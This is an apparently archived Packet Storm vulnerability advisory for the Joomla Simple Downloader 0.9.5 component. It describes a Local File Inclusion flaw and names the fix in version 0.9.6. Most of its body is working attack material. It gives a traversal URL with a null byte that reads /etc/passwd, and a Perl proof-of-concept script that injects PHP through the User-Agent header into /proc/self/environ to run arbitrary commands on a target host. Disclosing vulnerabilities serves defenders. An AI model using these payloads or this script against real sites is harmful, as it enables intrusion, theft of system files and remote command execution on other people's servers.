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Joomla Simple Downloader 0.9.5 Local File Inclusion / Command Execution

🗓️ 19 May 2010 00:00:00Reported by sm0qType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

The Joomla Simple Downloader 0.9.5 component is vulnerable to Local File Inclusion and Remote Code Executio

Code
`--[Description]--  
A vulnerability has been found in the downloader component for Joomla. It can be exploited in various ways - from sensitive information disclosure to remote code execution.  
  
Input passed to controller is not properly sanitized, allowing attacker to inject php code  
via Local File Inclusion combined with Directory Traversal (/proc/self/environ method) and Null Byte Injection, leading to Remote Code Execution.  
  
--[Vendor]--  
http://joomla.joelrowley.com/  
  
--[Vulnerable Version]--  
com_simpledownload <0.9.6  
  
--[Impact]--  
Local File Inclusion  
Directory Traversal  
Remote Code Execution  
  
--[LFI Exploit]--  
/index2.php?option=com_simpledownload&controller=[LFI]%00  
  
--[LFI PoC]--  
/index2.php?option=com_simpledownload&controller=  
./../../../../../../../etc/passwd%00  
  
--[RCE PoC]--  
#!/usr/bin/perl -w  
# quick'n'dirty PoC for RCE   
# com_simpledownload <0.9.6  
# by <sm0q>  
# usage eg.:  
# $./expl.pl -h localhost \   
# -c "<?php passthru('uname -a > uname.txt'); ?>"  
use LWP::UserAgent;  
use Getopt::Std;  
my %o=();  
getopts("c:h:",\%o);  
die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined $o{c});  
$o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/;  
my $url="/index2.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../../../proc/self/environ%00";  
my $lwp = LWP::UserAgent->new;  
print $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content;  
  
--[Solution]--  
Thanks to quick response from Joel Rowley   
fix released in version 0.9.6 - upgrade   
as soon as possible from:  
http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717  
  
--[EOF]--  
`

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